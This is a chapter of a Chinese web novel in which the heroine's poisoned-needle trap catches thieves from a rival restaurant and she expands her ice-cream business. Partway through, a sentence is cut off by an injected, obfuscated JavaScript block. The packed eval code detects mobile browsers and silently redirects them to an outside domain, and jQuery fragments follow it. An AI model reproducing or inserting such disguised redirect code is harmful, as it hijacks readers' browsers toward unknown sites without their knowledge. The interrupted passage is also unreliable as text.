冰淇淋并不好做。在尝试途中,还未成功的时候,蓝锦只能做点冰碗来吃,聊以解馋。
那些存竹书院的孩子们奉为瑰宝的美味甜品,严格来说,只是蓝锦看不太上的失败品罢了。
新奇的冰淇淋吸引了在场每一位客人的注意力。人人都争先恐后地尝试。
谁还记得宴席该上一道甜点、还是两道甜点的事,连卢县令也吃得兴起,直说要再尝尝另一种口味的。
此时一众宾客早把此前捧在手里的“如意楼伪作”冰碗搁下,甚少有人吃得见底,去看它碗底的小字。
如意楼为此事花了一大笔钱财,此刻还一无所知。
管事和伙计从马车上下来,径直走入了蓝记的后院。
筷子殷勤地开锁引路:“管事大人,您看,冰窖就在这。”
管事留了个心眼:“你去开。”
筷子熟门熟路,打开冰窖盖子,钻下去露出个脑袋,示意管事踩着他的肩膀下来。
眼前大张油毡布盖着一座座冰块小山。管事心头一喜:得来全不费工夫。
蓝锦啊蓝锦,巴巴为他做嫁衣,现下还要被他偷家,待反应过来,还不偷偷在被窝里哭啊?
“火折子拿来!”管事原就打算好了,能搬就搬,搬不走的部分,一把火烤化了。除了他,谁也捞不着好。
几人上前,打算扯下油毡布,突然——
“嗷!嗷!”“杀千刀的!”
几人掌心且痛且麻,原地跳脚。低下头一看,满手都是细如牛毛的银针!
看着伤处逐渐变乌的血色,管事暗叫不好:“快走!我要看大夫。”
“哎呀,这是什么风,把您几位吹来了?”
地窖口冒出一个毛茸茸的圆脑袋,蓝锦嬉皮笑脸,以一种看热闹不嫌事大的口吻,对着底下打招呼。
“你这个毒妇!心机深重,竟敢下毒!”如意楼的管事慌不择路。刚要上来,蓝锦就手执木柴,打地鼠一般,将他的脑袋按下去了。
“您别急嘛。县衙的差役们都在周岁宴上,且等一会才能到呀。我可是没本事得很,做小本生意罢了,当不得您‘心机’、‘毒妇’的夸赞!”
管事疼得龇牙咧嘴,因为他知晓这种毒药的厉害。伤了手那都是小事,搞不好,整条胳膊都别想要了。
“不过,这倒是奇了。我自家的冰窖,自家防鼠蚁的东西,缘何到了管事大人您的手上?”
蓝锦满脸惊讶,完全是一副真心发问的样子。
“莫非您几位是专门趁我不在,行那暗地窥伺、瞒天过海、偷鸡摸狗、吃里扒外的好事?啧啧啧,都说三岁看老,管事大人,我看你是不得善终的命格呀。”
管事虽气得倒仰,却无心与她争辩——他急着去熟识的大夫那里,救他中了毒的手。
眼看时间一分一秒地流逝,手上的青紫已经蔓延至腕处。饶是不像管事一样,知晓针上的古怪,其他人也觉出了不对。
筷子直跪下磕头:“师祖,师祖饶命!我是被人骗的,我是被人逼的。求师祖放过我,我给师祖当牛做马,我给师祖消灾挡祸,无有不应的。”
蓝锦吹了吹小指甲,笑道:“别碰瓷啊,我可不是你师祖。咱们之间没什么关系,既捡了高枝,就扑棱棱飞了去吧!”
“阿姐,我们来了!”小秋扯着一个老大夫的医箱,远远地冲蓝锦招手,后头跟着安琴。
江汝月带领一小队未沾酒的差役,竟与她们同时到了。
“正好!差役大人,我家进了贼,竟想盗取百味宴赠我的冰。还好他们愚笨,未曾跑远。”
差役们二话不说,就把管事一行人扣了起来。
蓝锦还在一旁絮絮:“说起来,也多亏我上回在百味宴扎伤了手,自此便有了灵感。那种不起眼的小针,淬了毒,扎进皮肉没有知觉,却着实厉害,不正好防鼠蚁吗?”
“谁知道,正经鼠蚁没捉上,却放倒了他们这几个硕鼠。老大夫,您说是不是?”
老大夫叫甲一和乙一架着,在一旁冷汗涔涔,唯唯诺诺。在他看见如意楼管事的时候,更暗道不好。
那针上的药,是管事找他配的!
他刚才就要跑路,谁料两个黑衣人直接就把他架过来了,还直接从他的起居之处搜出来了一箱金子。
几方反应都看在眼里,差役们也不是吃干饭的。头儿见状,大手一挥:“都带走!”
蓝锦也被客客气气地请去录口供。因刚吃了她家的好酒好菜,差役们无一不是面色和蔼。
对上捆着的几个,可就没有好脸色了。真是晦气,不知道蓝小娘子做出了个什么“冰淇淋”吗?
听说不止一种口味,是市面上从未有过的点心。他们还什么都没吃上啊!
**
萧仁禹后悔走得过早,他也没能尝一口冰淇淋。
“判了,如意楼在百味宴蓄意投毒,又意图偷盗贵重物品,涉事者杖一百四十,徒三年,赔款五十两。如意楼永久禁止参加百味宴。”
萧仁禹走进蓝记大门,长叹一声,有气无力地在桌边坐下。
蓝锦给他递来了婶娘们新做的荔枝糕,甜香清爽,口感绵软顺滑,是十分难得的贵价点心!
“辛苦萧小郎君,多亏你把甲一他们借我,此事才这样顺当。”蓝锦满脸是笑,头一回对萧仁禹这般好颜色。
蓝记饮食店的冰淇淋卖得正走俏。几番试营业,蓝锦改良了模具和盛具,开发了棒冰、冰沙、雪糕各种形式。
棒冰便像是牛奶碎冰冰,是用竹筒盛了酸梅汤一类的东西,懂成圆柱体,常能看到孩童在街上捧着啃。
冰沙的样子更像酥山。果味的碎冰堆在青玉盏上,上面缀着小芋圆、糯米丸子、冰芋头、水果、果脯和坚果碎。
雪糕则是牛奶含量较多的冰品。插在一根削得光滑的小木棍上,那滋味跟冰淇淋也不相上下了。
冰淇淋则是开发了更多口味,还专门塑了一个炉子,用来烤甜筒用的脆饼。
格纹小饼卷成锥子,用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541975|171016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圆勺挖出一个冰淇淋球,往上一放。不仅是下学的孩童爱买,寻常只去胭脂首饰铺子的女娘们也为这个常来光顾蓝记。
为了研发出更多口味,蓝锦可谓是煞费苦心。古代没有香精,她也找不到西餐圣品香草荚,如何留住各种风味?
冥思苦想了好几天,蓝锦灵机一动,还是打算从百味宴得来的那批冰上下功夫。
小秋与阿姐手挽手,去了万年县卖杂货的市场。
蓝锦曾经最爱跟院长婆婆一起去逛超市。她吃得多,在同龄人里力气大,惯常帮婆婆搬运东西。
琳琅满目的超市货架,堆满炫彩的包装,收纳整齐干净,灯光也明亮。来往的人群里,多是手挽父母的幸福孩童。
蓝锦身处其中,一点都不觉得自惭形秽,她挽着阿婆的手,仔细对着采购单子。
阿婆记性不大好了,眼睛也看不大清楚。回回都是提前写了,叫蓝锦帮着逐一往小车里装。
现在,换小秋挽着蓝锦的胳膊。姐妹俩也拿着一张单子:茉莉绿茶,话梅,橙子,青橘,桃子,苹果,桂花......
基本都是鲜果,价格不菲,还有一些小食、茶饮。
蓝锦腰包大出血,购物兴致却未落,又转去绮罗阁——自家店里新增的小顾客们常光顾的地方。
“哎,二位客官,您这边请。是姐妹俩都要试衣裳?”
掌柜的姓杜,三十有余。本是织娘,自立门户开了店,性子爽利泼辣。
绮罗阁阁如其名,满屋子绫罗绸缎。一层是布匹,二层有成衣,三层据说是贵人小姐们最爱的量身定制。
蓝锦拉着小秋上了二楼,笑道:“都看看。”
兴许是红袄的遗憾一早就满足了,小秋不再执着于红色裙衫。
屋中挂着鹅黄柳绿、粉紫蓝白的裙衫,她都好奇地打量。一看就好贵!
小秋也没显出局促来,看着阿姐做生意,她已全然懂了:卖得贵的东西,也只是东西而已,并不会让人低东西一头。
蓝锦挑了一圈,挑出了一套齐腰襦裙。藕荷色配胡粉,可爱灵动。拿给小秋看,果然见她眼前一亮。
长袍宽袖,软绢柔滑,长长的绳结拖至脚踝,衬得小秋越发光彩照人。杜掌柜直夸姐妹俩的好眼光。
蓝锦都付了钱,小秋还在她耳侧轻声问:“阿姐,为何要给我买这么贵的衣裙呀?”
蓝锦一刮她的小鼻子:“买新衣穿,有什么为何不为何的?”
姐妹俩说笑着回了家。马车上的鲜果小食都被搬进了厨房,有些削皮,有些洗净,有些切块。
寻了小坛子,每样一坛,用清水泡了起来。坛子口盖住之后,用水封了口。俱送到冰窖里冷藏。
第二天一早,蓝锦就迫不及待地喊人把坛子启出来瞧瞧究竟。
嗯!香气浓郁,风味十足,冷萃法诚不欺她!
此时并不急着使用。再往小坛子里倒入与水差不多等量的白糖,仍旧送进冰窖里放上三个时辰,静静等糖融化。